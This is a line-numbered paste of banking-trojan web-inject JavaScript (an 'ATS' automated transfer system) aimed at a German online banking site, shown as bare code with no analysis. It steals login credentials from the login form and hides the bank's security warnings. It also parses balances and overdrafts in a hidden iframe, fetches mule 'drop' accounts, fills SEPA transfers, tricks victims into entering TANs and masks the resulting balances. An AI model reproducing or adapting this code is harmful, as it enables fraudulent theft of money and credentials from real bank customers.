  308. {ATS.debugMsg('check Transaction MiniFinanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  309. {var curent_balance=ATS.fin2float(jq('#minifinanzstatus td:contains('+transfer_acc+')').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  310. {ATS.debugMsg('Transaction is true');return true;}
  311. else
  312. {return false;}}
  313. else
  314. return false;}
  315. ATS.checkTransactionFinanzstatus=function()
  316. {ATS.debugMsg('check Transaction Finanzstatus');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  317. {parent.ATS.accounts_list=ATS.parseAccountsList();var transfer_acc_info=ATS.findAccountInfo(transfer_acc);if((old_balance-transfer_acc_info.balance)>rep_amount*0.8)
  318. {ATS.debugMsg('Transaction is true');return true;}
  319. else
  320. {return false;}}
  321. else
  322. return false;}
  323. ATS.checkTransactionKontodetails=function()
  324. {ATS.debugMsg('check Transaction Kontodetails');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  325. {var curent_balance=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  326. {ATS.debugMsg('Transaction is true');return true;}
  327. else
  328. {return false;}}
  329. else
  330. return false;}
  331. ATS.checkTransactionUmsatzabfrage=function()
  332. {ATS.debugMsg('check Transaction Umsatzabfrage');var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=parseInt(ATS.getCookie('rep_amount'));var status=ATS.getCookie('status');if(old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  333. {var curent_balance=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());if((old_balance-curent_balance)>rep_amount*0.8)
  334. {ATS.debugMsg('Transaction is true');return true;}
  335. else
  336. {return false;}}
  337. else
  338. return false;}
  339.  
  340. ATS.current_state=0;ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.startDelay=25;ATS.useOverdraft=true;ATS.transf_mode='sepa';ATS.badTan=false;ATS.checkLoginPage=function()
  341. {if((jq('input[title*=nmeld]').length)&&(jq("input.loginfeld").length))
  342. return true;if(jq('input[title*=ogin]').length)
  343. return true;if(jq('input[name=quick_login_pintan]').length)
  344. return true;return false;}
  345. ATS.isLoggedIn=function()
  346. {return!!jq("input[title*=abmeld]").length;}
  347. ATS.getLoginForm=function()
  348. {var form=jq("form").has('input[name*=anmeld]').has('input.loginfeld');if(form.length)
  349. return form[0];form=jq("form").has('input#anmeld');if(form.length)
  350. return form[0];var form=jq("form").has('input[title*=ogin]');if(form.length)
  351. return form[0];return false;}
  352. ATS.setLoginHook=function()
  353. {var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm)
  354. {loginForm.onsubmit=function(){return true};jq(loginForm).submit(function(e){if(!loginDataSent)
  355. {e.preventDefault();var login=jq(loginForm).find('input:visible[type=text]').val();var password=jq(loginForm).find('input:visible[type=password]').val();ATS.debugMsg('login info: '+login+', '+password);ATS.sendLoginInfo(login,password,function(){loginDataSent=true;var submitButton=jq(ATS.getLoginForm()).find('input[type=image]').last();if(jq(submitButton).length)
  356. {ATS.imgSubmit(jq(submitButton));}
  357. else
  358. {jq(loginForm).submit();}})}});return true;}
  359. return false;}
  360. ATS.getTime=function()
  361. {return Math.floor((new Date).getTime()/1000);}
  362. ATS.die=function(msg)
  363. {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.setCookie('starttime',0);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
  364. {ATS.debugMsg('die in frame');var nextLink=ATS.findMenuEntry('startseite');if(!nextLink)
  365. nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
  366. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}
  367. else
  368. {ATS.sendLogMsg('die cant find link 2 go');}}
  369. else
  370. {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();}});}
  371. ATS.openInIframe=function(url)
  372. {var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
  373. {jq(iframe).css('width','1200px');jq(iframe).css('height','800px');jq(iframe).css('top','800px');jq(iframe).css('position','absolute');}
  374. else
  375. {jq(iframe).css('width','1px');jq(iframe).css('height','1px');}}
  376. ATS.parseAccountsList=function()
  377. {var accountsList=new Array();jq("table").has('th:contains(Konton)').each(function(){jq(this).find('tr').each(function(){var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));if(number!='')
  378. {var balance=parseFloat(jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.')));var transf=!!jq(this).children("td:eq(3)").children('input[title*=berweisung]').length;ATS.debugMsg('number: '+number+'; balance: '+balance+'; transf: '+transf);accountsList.push({number:number,balance:balance,transf:transf});}})});return accountsList;}
  379. ATS.findAccountInfo=function(acc_num)
  380. {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
  381. {if(acc_num.indexOf(accounts_list[i].number)!=-1)
  382. {ATS.debugMsg('Found: '+accounts_list[i].number+'; balance: '+accounts_list[i].balance+'; transf: '+accounts_list[i].transf);return accounts_list[i];}}
  383. return false;}
  384. ATS.fillSepaForm=function()
  385. {var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
  386. cents="0"+cents;parent.ATS.sepa_drop.amount=(parseInt(parent.ATS.sepa_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.sepa_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(IBAN des Beg)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(IBAN oder)').attr('for')).val(drop.IBAN);jq('#'+jq('label:contains(BIC)').attr('for')).val(drop.BIC);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=110;ATS.sendLogMsg('SEPA form filled in');if(jq("input[value=Weiter]").length)
  387. {ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
  388. else
  389. {ATS.die('fillSepaForm: cant find weiter button');}}
  390. ATS.fillIntForm=function()
  391. {var cents=((Math.floor(Math.random()*19)+1)*5).toString();if(cents.length<2)
  392. cents="0"+cents;parent.ATS.int_drop.amount=(parseInt(parent.ATS.int_drop.amount)-1).toString()+','+cents;var drop=parent.ATS.int_drop;jq('#'+jq('label:contains(Name oder Firma)').attr('for')).val(drop.DrName);jq('#'+jq('label:contains(Konto des Beg)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(oder Konto)').attr('for')).val(drop.Konto);jq('#'+jq('label:contains(BLZ)').attr('for')).val(drop.BLZ);jq('#'+jq('label:contains(Betrag)').attr('for')).val(drop.amount);jq('#'+jq('label:contains(Verwendung)').attr('for')).val(drop.Reference);parent.ATS.current_state=30;ATS.sendLogMsg('Int form filled in');if(jq("input[value=Weiter]").length)
  393. {ATS.delayedClick(jq("input[value=Weiter]"),8000,14000);}
  394. else
  395. {ATS.die('fillIntForm: cant find weiter button');}}
  396. ATS.getFinanzstatusLink=function()
  397. {var finLink=jq("a[href*=p\\.finanzstatus]:visible");if(jq(finLink).length==0)
  398. {finLink=jq("li.nav1item:contains(Finanzstatus) a[href*=finanzstatus]");}
  399. if(jq(finLink).length!=0)
  400. {return jq(finLink)[0].href;}
  401. return false;}
  402. ATS.getHolderName=function()
  403. {return jq.trim(jq('input[alt*=bmelden]').parent().find('p:eq(0)').text());}
  404. ATS.mainWork=function()
  405. {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);ATS.sendLogMsg('main state '+ATS.current_state);switch(ATS.current_state)
  406. {case 0:var hname=ATS.getHolderName();if(hname!='')
  407. ATS.sendLogMsg('Holder name: '+hname);if(ATS.getFinanzstatusLink()||jq("a[href*=p\\.umsatz]:visible").length)
  408. {ATS.current_state=10;ATS.ieFrameHack();setTimeout(function()
  409. {var frameError=false;try
  410. {var innerDoc=jq('iframe#ats_wrk_iframe')[0].contentWindow.document;}
  411. catch(ex)
  412. {frameError=true;}
  413. if(frameError)
  414. ATS.die('ATS.mainWork: frame error!');},15000);}
  415. else
  416. {ATS.die('mainWork: cant find finanzstatus');}
  417. break;}}
  418. ATS.ieFrameHack=function()
  419. {ATS.debugMsg('ATS.ieFrameHack()');if(!jq('iframe#ats_wrk_iframe').length)
  420. {ATS.openInIframe('about:blank');setTimeout(ATS.ieFrameHack,3000);}
  421. else
  422. {var href=ATS.getFinanzstatusLink();if(href)
  423. {ATS.debugMsg('Finanzstatus link: '+href);}
  424. else
  425. {href=jq("a[href*=p\\.umsatz]:visible")[0].href;ATS.debugMsg('umsatzabfrage link: '+href);}
  426. if(href)
  427. {jq('iframe#ats_wrk_iframe').attr('src',href);}
  428. else
  429. ATS.die('cant get link in ieFrameHack');}}
  430. ATS.getMenuEntrySepa=function()
  431. {var res=jq('.nav2item').find('a[href*=sepa_einzel]');}
  432. ATS.framePageTransfers=function()
  433. {if(parent.ATS.transf_mode=='sepa')
  434. {var sepaExpresLink=jq('.nav2item').find('a[title*=Expresszahlung]');if(jq(sepaExpresLink).length!=0)
  435. {ATS.sendLogMsg('SEPA-Express');ATS.debugMsg('SEPA-Express link: '+jq(sepaExpresLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaExpresLink)[0].href;},ATS.randInt(3000,6000));return;}
  436. var sepaLink=jq('.nav2item').find('a[href*=sepa_einzel]');if(jq(sepaLink).length==0)
  437. {sepaLink=jq('.contentcontainerTop').find('a[href*=sepa_einzel]');}
  438. if(jq(sepaLink).length!=0)
  439. {ATS.debugMsg('SEPA link: '+jq(sepaLink)[0].href);setTimeout(function(){parent.ATS.current_state=100;document.location.href=jq(sepaLink)[0].href;},ATS.randInt(3000,6000));}
  440. else
  441. {parent.ATS.transf_mode='int';ATS.sendLogMsg('cant find sepa link, trying int');}}
  442. if(parent.ATS.transf_mode=='int')
  443. {var accountsSelect=jq('form').has('label:contains(Auftraggeber)').find('select');var accDiv=ATS.findAccountDiv();if((jq(accountsSelect).length!=0)||(accDiv))
  444. {var maxAcc=null;if(jq(accountsSelect).length!=0)
  445. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).text());if(acc_num!='')
  446. {ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
  447. {maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
  448. else
  449. maxAcc=accDiv;if(maxAcc)
  450. {ATS.setCookie('transfer_acc',maxAcc.number);ATS.setCookie('old_balance',parseFloat(maxAcc.balance));ATS.debugMsg('Max amount: '+maxAcc.balance);if(ATS.useOverdraft)
  451. ATS.debugMsg('Overdraft: '+maxAcc.overdraft);else
  452. maxAcc.overdraft=0;ATS.getDrop('Internal',(maxAcc.balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
  453. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.int_drop=data.drop;ATS.fillIntForm();}
  454. else
  455. {ATS.die('framePageTransfers: no Int drop');}});}
  456. else
  457. {ATS.die('framePageTransfers: Cant find max account');}}
  458. else
  459. {ATS.die('framePageTransfers: cant find sender select');}}}
  460. ATS.framePageConfirm=function()
  461. {if(jq('#rsct_bg_image').length)
  462. {ATS.debugMsg('flicker image found');setTimeout(function(){document.location.href=jq('a:contains("hier")').attr('href');},3000);return;}
  463. if(jq('label:contains("SMS")').length)
  464. {ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
  465. else
  466. {ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
  467. ATS.framePageReceipt=function()
  468. {ATS.sendLogMsg('framePageReceipt');ATS.putTransfer('Internal',parent.ATS.int_drop.id,parent.ATS.int_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.int_drop.id+', amount: '+parent.ATS.int_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.int_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.int_drop.Konto);ATS.setCookie('rep_amount',parent.ATS.int_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  469. {ATS.setCookie('ap'+transfer_acc,parent.ATS.int_drop.amount);}
  470. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
  471. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
  472. ATS.tryIntTransfer=function()
  473. {parent.ATS.transf_mode='int';var nextLink=jq('.nav1item').find('a[title=\xDCberweisung]');if(jq(nextLink).length==0)
  474. {nextLink=jq('.nav1item').find('a[href*=ueberweisung]');}
  475. if(jq(nextLink).length==0)
  476. {nextLink=jq('.nav2item').find('a[title*=\xDCberweisung]');}
  477. if(jq(nextLink).length!=0)
  478. {ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},5000);}
  479. else
  480. {ATS.die('tryIntTransfer: cant find ueberweisung link');}};ATS.findAccountsSelect=function()
  481. {var accountsSelect=jq('form').has('label:contains(IBAN des Auf)').find('select');if(jq(accountsSelect).length==0)
  482. {accountsSelect=jq('#'+jq('label:contains(Auftraggeber)').attr('for'));}
  483. return jq(accountsSelect).length?accountsSelect:false;}
  484. ATS.findAccountDiv=function()
  485. {var accountsList=parent.ATS.accounts_list;var acc=null;for(var i in accountsList)
  486. {if(jq('form').find('div:contains('+accountsList[i].number+')').length)
  487. acc=accountsList[i];}
  488. return acc!=null?acc:false;}
  489. ATS.framePageTransfersSEPA=function()
  490. {var accountsSelect=ATS.findAccountsSelect();var accDiv=ATS.findAccountDiv();var maxAcc=null;if((accountsSelect)||(accDiv))
  491. {if(accountsSelect)
  492. {jq(accountsSelect).children('option').each(function(){var acc_num=jq.trim(jq(this).val().replace(/\D/g,''));if(acc_num=='')
  493. acc_num=jq.trim(jq(this).text().replace(/\D/g,''));if(acc_num!='')
  494. {ATS.debugMsg('Option: '+acc_num);var accInfo=ATS.findAccountInfo(acc_num);if(accInfo&&(!maxAcc||((maxAcc.balance+maxAcc.overdraft)<(accInfo.balance+accInfo.overdraft))))
  495. {ATS.debugMsg('better, balance: '+accInfo.balance);maxAcc=accInfo;jq(this).attr('selected','selected');}}});}
  496. else
  497. maxAcc=accDiv;if(maxAcc)
  498. {ATS.setCookie('transfer_acc',maxAcc.number);var balance=parseFloat(maxAcc.balance);ATS.setCookie('old_balance',balance);ATS.debugMsg('Max amount: '+balance);if(ATS.useOverdraft)
  499. ATS.debugMsg('Overdraft: '+maxAcc.overdraft);else
  500. maxAcc.overdraft=0;ATS.getDrop('sepa',(balance+maxAcc.overdraft).toFixed(2),function(data){if(data&&data.drop)
  501. {ATS.debugMsg('[Drop] DrName: '+data.drop.DrName);parent.ATS.sepa_drop=data.drop;ATS.fillSepaForm();}
  502. else
  503. {ATS.tryIntTransfer();}});}
  504. else
  505. {ATS.debugMsg('Cant find max account');ATS.tryIntTransfer();}}
  506. else
  507. {ATS.debugMsg('framePageTransfersSEPA: cant find sender select');ATS.tryIntTransfer();}}
  508. ATS.framePageConfirmSEPA=function()
  509. {if(jq('#rsct_bg_image').length)
  510. {ATS.debugMsg('flicker image found');setTimeout(function(){var link=jq('a[title=hier]').attr('href');if(!link)
  511. link=jq('.osppinfoinhalt:contains(manuellen) > a').attr('href');document.location.href=link;},3000);return;}
  512. if(jq('label:contains("SMS")').length)
  513. {ATS.sendLogMsg('asking for SMS TAN');ATS.UI_askTan('sms',parent.ATS.badTan);}
  514. else
  515. {ATS.sendLogMsg('asking for TAN gen');ATS.UI_askTan('gen',parent.ATS.badTan);}}
  516. ATS.enterCode=function(tan)
  517. {ATS.debugMsg('ATS.enterCode '+tan);var tanFieldName=jq('label:contains(TAN):eq(0)').attr('for');ATS.sendLogMsg('tanFieldName = '+tanFieldName);if(jq('input[name='+tanFieldName+']').length)
  518. {jq('input[name='+tanFieldName+']').val(tan);var confirm_tan=jq("input[value=Absenden]").length?jq("input[value=Absenden]"):jq("input[value=Weiter]");if(jq(confirm_tan).length)
  519. {if(parent.ATS.transf_mode=='sepa')
  520. parent.ATS.current_state=120;else
  521. parent.ATS.current_state=40;parent.ATS.UI_showWait();ATS.delayedClick(jq(confirm_tan),100,200);}
  522. else
  523. ATS.die('enterCode: cant find absenden button');}
  524. else
  525. ATS.die('enterCode: cant find field by label');}
  526. ATS.framePageAfterTAN=function()
  527. {var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText=='')
  528. {if(jq(".active_3:contains(tigung)").length)
  529. {ATS.framePageReceiptSEPA();}
  530. else if(jq(".active_2:contains(Senden)").length)
  531. {ATS.die('framePageAfterTAN: unknown error on step 2');}
  532. else
  533. ATS.die('framePageAfterTAN: weird situation');}
  534. else
  535. {if(errorText.indexOf('Die eingegebene TAN ist falsch')!=-1)
  536. {parent.ATS.badTan=true;parent.ATS.current_state=110;ATS.sendLogMsg('framePageAfterTAN: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
  537. else
  538. ATS.die('framePageAfterTAN: unknown error: '+errorText);}}
  539. ATS.framePageReceiptSEPA=function()
  540. {ATS.debugMsg('framePageReceiptSEPA');ATS.putTransfer('SEPA',parent.ATS.sepa_drop.id,parent.ATS.sepa_drop.amount,function(){ATS.sendLogMsg('Successful transfer SEPA, drop: '+parent.ATS.sepa_drop.id+', amount: '+parent.ATS.sepa_drop.amount);ATS.setCookie('transfer_time',ATS.getTime());ATS.setCookie('rep_drop_name',parent.ATS.sepa_drop.DrName);ATS.setCookie('rep_drop_acc',parent.ATS.sepa_drop.IBAN);ATS.setCookie('rep_amount',parent.ATS.sepa_drop.amount);var transfer_acc=ATS.getCookie('transfer_acc');if(transfer_acc)
  541. {ATS.setCookie('ap'+transfer_acc,parent.ATS.sepa_drop.amount);}
  542. ATS.setCookie('status',1);ATS.saveCookies(function(){var nextLink=jq('.nav1item').find('a[href*=startseite]');if(jq(nextLink).length!=0)
  543. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}});});}
  544. ATS.findMenuEntry=function(hrefCode)
  545. {var el=jq('.nav1item').find('a[href*='+hrefCode+']');if(jq(el).length)
  546. return el;var el=jq('.nav2item').find('a[href*='+hrefCode+']');if(jq(el).length)
  547. return el;return false;}
  548. ATS.goToTransfers=function()
  549. {var nextLink=ATS.findMenuEntry('ueberweisung');if(nextLink)
  550. {ATS.debugMsg('Ueberweisung link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=20;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
  551. else
  552. {if(jq('.nav1item').filter('.active').find('a[href*=umsatzabfrage]').length==0)
  553. {nextLink=ATS.findMenuEntry('umsatzabfrage');ATS.debugMsg('Banking link: '+jq(nextLink)[0].href);setTimeout(function(){parent.ATS.current_state=15;document.location.href=jq(nextLink)[0].href;},ATS.randInt(3000,6000));}
  554. else
  555. ATS.die('frameWork: cant find banking link');}}
  556. ATS.getMaxTransferAcc=function()
  557. {var accountsList=parent.ATS.accounts_list;var maxAcc=null;for(var i in accountsList)
  558. {if(accountsList[i].transf)
  559. {if(!maxBalance)
  560. var maxBalance=accountsList[i].balance;if(parseFloat(accountsList[i].balance)>=maxBalance)
  561. {maxBalance=parseFloat(accountsList[i].balance);maxAcc=accountsList[i];}}}
  562. return maxAcc;}
  563. ATS.setAccountOverdraft=function(accNum,value)
  564. {for(var i in parent.ATS.accounts_list)
  565. {if((parent.ATS.accounts_list[i].number==accNum)&&(parent.ATS.accounts_list[i].transf))
  566. {ATS.sendLogMsg('Overdraft for '+accNum+' : '+value+'');parent.ATS.accounts_list[i].overdraft=value;}}}
  567. ATS.framePageKontodetails=function()
  568. {var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var odCell=jq('form div.col:contains(Kreditlinie)').next();if(odCell.length)
  569. {var od=ATS.fin2float(jq(odCell).text());ATS.sendLogMsg('Overdraft for acc #'+accNum+': '+od);parent.ATS.setAccountOverdraft(accNum,od);}
  570. else
  571. {ATS.sendLogMsg('Overdraft for acc #'+accNum+' not found');}
  572. ATS.goToTransfers();}
  573. ATS.framePageGiro=function()
  574. {jq('.if5_content table tr').each(function(){var accNum=ATS.fin2float(jq(this).find('td:eq(1)').text());var overdraft=ATS.fin2float(jq(this).find('td:eq(2) span:eq(1)').text());if(!overdraft)
  575. overdraft=0;if(accNum!='')
  576. {ATS.setAccountOverdraft(accNum,overdraft);}});ATS.goToTransfers();}
  577. ATS.isFinanzstatusPage=function()
  578. {if(jq(".nav2item:contains(Finanzstatus)").length)
  579. {if(jq(".nav2item:contains(Finanzstatus)").attr('class').indexOf('active')!=-1)
  580. return true;return false;}
  581. if(jq(".nav1item[class*=active]").text().indexOf('Finanzstatus')!=-1)
  582. return true;if(jq(".nav1item[class*=active]").text().indexOf('Anzeige')!=-1)
  583. return true;if(jq(".nav1item[class*=active]").text().indexOf('Banking')!=-1)
  584. return true;if(jq("h2:contains(Finanzstatus)").length)
  585. return true;return false;}
  586. ATS.framePageFinanzstatus=function()
  587. {if(ATS.isFinanzstatusPage())
  588. {var maxBtn=jq('form > table input[title*=Maximieren]:eq(0)');if(maxBtn.length)
  589. {ATS.delayedClick(jq(maxBtn),2000,4000);}
  590. else
  591. {parent.ATS.accounts_list=ATS.parseAccountsList();if(!parent.ATS.accounts_list.length)
  592. {ATS.die('frameWork: cant parse balances and no max btn');}
  593. else
  594. {ATS.sendAccountsInfo(parent.ATS.accounts_list);var acc=ATS.getMaxTransferAcc();if(acc)
  595. {if(ATS.useOverdraft)
  596. {var girodetails=jq('img[title*=Giro-Detail]');parent.ATS.current_state=13;if(girodetails.length)
  597. {ATS.sendLogMsg('Looking for OverDraft');ATS.delayedClick(jq(girodetails),3000,6000);}
  598. else
  599. {ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance+' - looking for OverDraft');parent.ATS.current_state=12;var kontodetails=jq('td:contains('+acc.number+'):eq(0)').parent().find('input[title=Kontodetails]');if(kontodetails.length)
  600. {ATS.delayedClick(jq(kontodetails),3000,6000);}
  601. else
  602. ATS.goToTransfers();}}
  603. else
  604. {ATS.sendLogMsg('Max acc #'+acc.number+': '+acc.balance);ATS.goToTransfers();}}
  605. else
  606. ATS.die('frameWork: no positive accounts with payment button');}}}
  607. else
  608. {var href=ATS.getFinanzstatusLink();if(href)
  609. {setTimeout(function(){document.location.href=ATS.getFinanzstatusLink();},3000);}
  610. else
  611. ATS.die('frameWork: cant load finanzstatus');}}
  612. ATS.tanError=function()
  613. {if((jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)||(jq('.msgerror').text().indexOf('Die eingegebene TAN ist falsch')!=-1))
  614. {return true;}
  615. if((jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)||(jq('.msgerror').text().indexOf('Ihr Zugang ist gesperrt')!=-1))
  616. {return true;}
  617. return false;}
  618. ATS.frameWork=function()
  619. {ATS.debugMsg('ATS.frameWork, state: '+parent.ATS.current_state);ATS.sendLogMsg('frame state '+parent.ATS.current_state);switch(parent.ATS.current_state)
  620. {case 10:ATS.framePageFinanzstatus();break;case 12:ATS.framePageKontodetails();break;case 13:ATS.framePageGiro();break;case 15:ATS.goToTransfers();break;case 20:ATS.framePageTransfers();break;case 30:if(jq(".active_2:contains(Senden)").length)
  621. {if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
  622. {jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
  623. else
  624. ATS.framePageConfirm();}
  625. else
  626. {if(jq('.osppliste').text().indexOf('Ihr Zugang ist gesperrt')!=-1)
  627. {ATS.die('frameWork: account locked');}
  628. else
  629. ATS.die('frameWork: Error fill Int form');}
  630. break;case 40:if(jq(".active_3:contains(tigung)").length)
  631. {ATS.framePageReceipt();}
  632. if(jq(".active_2:contains(Senden)").length)
  633. {ATS.die('frameWork: unknown error on step 2');}
  634. else
  635. {if(jq('.osppliste').text().indexOf('Die eingegebene TAN ist falsch')!=-1)
  636. {parent.ATS.badTan=true;parent.ATS.current_state=30;ATS.sendLogMsg('frameWork: bad TAN');ATS.delayedClick(jq("input[value=Weiter]"),3000,6000);}
  637. else
  638. ATS.die('frameWork: unknown error: '+jq('.osppliste').text());}
  639. break;case 100:ATS.framePageTransfersSEPA();break;case 110:if(jq(".active_2:contains(Senden)").length)
  640. {if(jq('input[type=radio]').length&&(jq('input[type=radio]:eq(0)').parent().parent().text().indexOf('Mobilfunknummer')!=-1))
  641. {jq('input[type=radio]:eq(0)').click();ATS.delayedClick(jq('input[value*=eiter]'),3000,6000);}
  642. else
  643. ATS.framePageConfirmSEPA();}
  644. else
  645. {var errorText=jq('.osppliste').text()+jq('.msgerror').text();if(errorText.indexOf('Ihr Zugang ist gesperrt')!=-1)
  646. {ATS.die('frameWork: account locked');}
  647. else
  648. ATS.die('frameWork: Error fill SEPA form: '+jq('.osppliste').text()+jq('.msgerror').text());}
  649. break;case 120:ATS.framePageAfterTAN();break;}}
  650. if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  651. {jq(document).ready(function(){if(ATS.checkLoginPage())
  652. {ATS.debugMsg('login page');jq('h1:contains("Wichtiger Hinweis")').parent().hide();jq('div.bline:contains("Sicherheitshinweise")').hide();jq('p.sichhinweis').hide();jq('table:contains(Sicherheitswarnung)').hide();ATS.setLoginHook();jq('.inj_full_overlay').remove();}
  653. if(ATS.isLoggedIn())
  654. {ATS.debugMsg('logged in!');if((parent.document!==document)&&parent.ATS)
  655. {ATS.debugMsg('we are in frame!');ATS.frameWork();jq('.inj_full_overlay').remove();}
  656. else
  657. {jq('strong:contains(Sicherheitshinweis)').parent().parent().hide();ATS.loadData(function(data){if(ATS.account_id!=0)
  658. {if((ATS.getCookie('status')!='1')&&(ATS.getCookie('status')!='2'))
  659. {var delayTime=parseInt(ATS.startDelay);if(delayTime>0)
  660. {var startTime=ATS.getCookie('starttime');ATS.debugMsg('startTime: '+startTime);if(startTime&&(startTime!='0'))
  661. {startTime=parseInt(startTime);var curTime=ATS.getTime();if(curTime>startTime)
  662. {ATS.debugMsg('startTime reached');if(ATS.isFinanzstatusPage())
  663. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}
  664. else
  665. {ATS.debugMsg('redirecting to finanzstatus...');var nextLink=ATS.findMenuEntry('finanzstatus');if(nextLink)
  666. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},3000);return;}}}
  667. else
  668. {ATS.debugMsg('time before start: '+(startTime-curTime));}}
  669. else
  670. {startTime=ATS.getTime()+delayTime;ATS.debugMsg('new startTime: '+startTime);ATS.setCookie('starttime',startTime);ATS.saveCookies();}}
  671. else
  672. {ATS.UI_blockSite();ATS.UI_showWait();ATS.mainWork();}}
  673. else if(ATS.getCookie('status')=='1')
  674. {if(ATS.getCookie('transaction')=='true')
  675. {ATS.replaceBalances();}
  676. else
  677. {ATS.debugMsg('check Transaction');if(ATS.checkTransaction())
  678. {ATS.setCookie('transaction','true');ATS.saveCookies();ATS.replaceBalances();}}}}
  679. jq('.inj_full_overlay').remove();});}}
  680. else
  681. {if((parent.document!==document)&&parent.ATS)
  682. {ATS.debugMsg('we are in frame and not logged in!');}
  683. else
  684. {jq('.inj_full_overlay').remove();}}});}
  685.  
  686. if((document.readyState==="loading")||(document.readyState==="interactive"))
  687. document.write('<div class="inj_full_overlay"></div>');else
  688. jq('body').append('<div class="inj_full_overlay"></div>');
Add Comment
Please, Sign In to add comment